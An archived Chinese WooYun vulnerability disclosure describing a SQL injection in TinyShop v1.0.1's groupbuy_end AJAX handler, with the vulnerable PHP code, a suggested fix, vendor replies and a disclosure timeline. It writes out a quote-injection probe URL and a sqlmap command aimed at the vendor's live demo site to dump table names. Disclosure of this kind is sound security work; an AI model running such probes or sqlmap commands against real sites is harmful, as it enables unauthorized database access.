当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065425

漏洞标题:TinyShop v1.0.1 SQL注射 可致数据库信息泄露

相关厂商:tinyrise.com

漏洞作者: lxj616

提交时间:2014-06-20 20:12

修复时间:2014-09-18 20:14

公开时间:2014-09-18 20:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-20: 细节已通知厂商并且等待厂商处理中
2014-06-21: 厂商已经确认,细节仅向厂商公开
2014-06-24: 细节向第三方安全合作伙伴开放
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-18: 细节向公众公开

简要描述:

TinyShop v1.0.1 SQL注射 可致数据库信息泄露(官网演示+源码分析)
无视gpc

详细说明:

/protected/controllers/ajax.php

//团购结束更新
public function groupbuy_end(){
$id = Req::args('id');
//取得id
if($id){
$item = $this->model->table("groupbuy")->where("id=$id")->find();
//无视GPC,直接带入查询
$end_diff = time()-strtotime($item['end_time']);
if($end_diff>0){
$this->model->table("groupbuy")->where("id=$id")->data(array('is_end'=>1))->update();
}
}

}


$id无单引号保护,因此无视GPC
何况官网没开GPC(框架里自动stripslashes先,开了也没用)

http://shop.tinyrise.com/ajax/groupbuy_end?id=4%27


error.png


没有引号保护
SQLMAP

C:\Users\Administrator>sqlmap.py -u "http://shop.tinyrise.com/ajax/groupbuy_end?id=4" -p id --tables --delay=12


sqlmap001.png


sqlmap002.png


sqlmap003.png


都已经delay 12了 丢包还是惊人,不过还是跑出数据库名了

漏洞证明:

C:\Users\Administrator>sqlmap.py -u "http://shop.tinyrise.com/ajax/groupbuy_end?id=4" -p id --tables --delay=12


sqlmap001.png


sqlmap002.png


sqlmap003.png


都已经delay 12了 丢包还是惊人,不过还是跑出数据库名了

修复方案:

单引号保护+addslashes

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-21 10:52

厂商回复:

默认都不会开启调试功能的。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-21 18:49 | lxj616 ( 普通白帽子 | Rank:438 漏洞数:90 | <hohoho>)

    。。。这和调试功能有什么关系?那张图是说明注射点类型为int没有单引号而已

  2. 2014-06-27 08:59 | TinyRise(乌云厂商)

    新版本已经更新。